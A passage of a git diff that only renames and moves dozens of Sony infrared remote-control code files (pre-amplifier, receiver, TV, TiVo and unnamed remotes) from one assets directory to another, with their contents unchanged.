a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/144,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/144,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/144,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/144,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/15,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/15,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/15,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/15,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/16,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/16,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/16,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/17,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/17,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/17,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/18,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/18,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/18,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/18,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/183,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/183,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/183,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/183,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/2,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/2,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/2,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/2,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/20,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/20,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/20,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/23,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/23,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/23,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/23,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/26,66.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/26,66.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/26,66.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/26,66.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/26,73.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/26,73.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/26,73.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/26,73.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/36,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/36,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/36,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/36,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/6,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/6,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/6,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/6,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/7,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/7,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/7,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Receiver/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Receiver/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Receiver/11,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/11,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Receiver/11,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/11,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Receiver/12,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/12,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Receiver/12,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/12,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Receiver/121,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/121,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Receiver/121,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/121,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Receiver/13,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/13,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Receiver/13,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/13,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Receiver/144,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/144,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Receiver/144,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/144,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Receiver/15,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/15,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Receiver/15,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/15,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Receiver/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/16,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Receiver/16,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/16,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Receiver/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/17,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Receiver/17,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/17,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Receiver/176,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/176,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Receiver/176,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/176,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Receiver/18,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/18,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Receiver/18,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/18,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Receiver/2,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/2,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Receiver/2,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/2,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Receiver/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/20,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Receiver/20,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/20,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Receiver/23,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/23,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Receiver/23,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/23,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Receiver/26,66.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/26,66.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Receiver/26,66.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/26,66.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Receiver/26,73.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/26,73.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Receiver/26,73.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/26,73.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Receiver/36,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/36,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Receiver/36,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/36,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Receiver/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Receiver/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Receiver/48,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/48,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Receiver/48,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/48,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Receiver/6,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/6,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Receiver/6,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/6,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Receiver/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/7,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Receiver/7,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/7,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Receiver/8,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/8,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Receiver/8,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/8,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Surround Processor/26,233.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Surround Processor/26,233.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Surround Processor/26,233.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Surround Processor/26,233.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/TV/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/TV/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/TV/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/TV/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/TV/119,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/TV/119,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/TV/119,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/TV/119,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/TV/151,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/TV/151,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/TV/151,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/TV/151,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/TV/164,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/TV/164,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/TV/164,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/TV/164,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/TV/183,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/TV/183,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/TV/183,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/TV/183,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/TV/26,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/TV/26,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/TV/26,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/TV/26,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/TV/26,42.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/TV/26,42.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/TV/26,42.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/TV/26,42.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/TV/3,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/TV/3,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/TV/3,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/TV/3,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/TV/84,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/TV/84,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/TV/84,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/TV/84,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/TiVo/183,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/TiVo/183,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/TiVo/183,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/TiVo/183,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/TiVo/23,133.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/TiVo/23,133.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/TiVo/23,133.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/TiVo/23,133.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/TiVo/26,154.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/TiVo/26,154.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/TiVo/26,154.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/TiVo/26,154.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_870/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_870/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_870/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_870/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_CD/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_CD/17,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_CD/17,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_CD/17,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_CDIR/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_CDIR/17,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_CDIR/17,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_CDIR/17,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_CDP-790/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_CDP-790/17,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_CDP-790/17,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_CDP-790/17,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_D1000/89,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_D1000/89,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_D1000/89,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_D1000/89,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_DAT/28,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_DAT/28,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_DAT/28,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_DAT/28,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_DVD/26,18.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_DVD/26,18.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_DVD/26,18.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_DVD/26,18.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_DVD/26,73.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_DVD/26,73.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_DVD/26,73.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_DVD/26,73.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-687C/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-687C/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-687C/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-687C/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-860/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-860/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-860/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-860/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-861/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-861/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-861/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-861/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-873/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-873/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-873/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-873/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D190/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D190/17,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D190/17,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D190/17,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D270/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D270/17,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D270/17,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D270/17,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D295/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D295/17,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D295/17,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D295/17,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D302/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D302/17,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D302/17,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D302/17,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D320/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D320/17,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D320/17,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D320/17,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D325/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D325/17,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D325/17,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D325/17,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D391/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D391/17,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D391/17,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D391/17,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D520/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D520/17,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D520/17,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D520/17,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D55/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D55/17,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D55/17,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D55/17,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D690/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D690/17,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D690/17,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D690/17,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D706/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D706/17,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D706/17,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D706/17,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D797/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D797/17,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D797/17,-1.ir 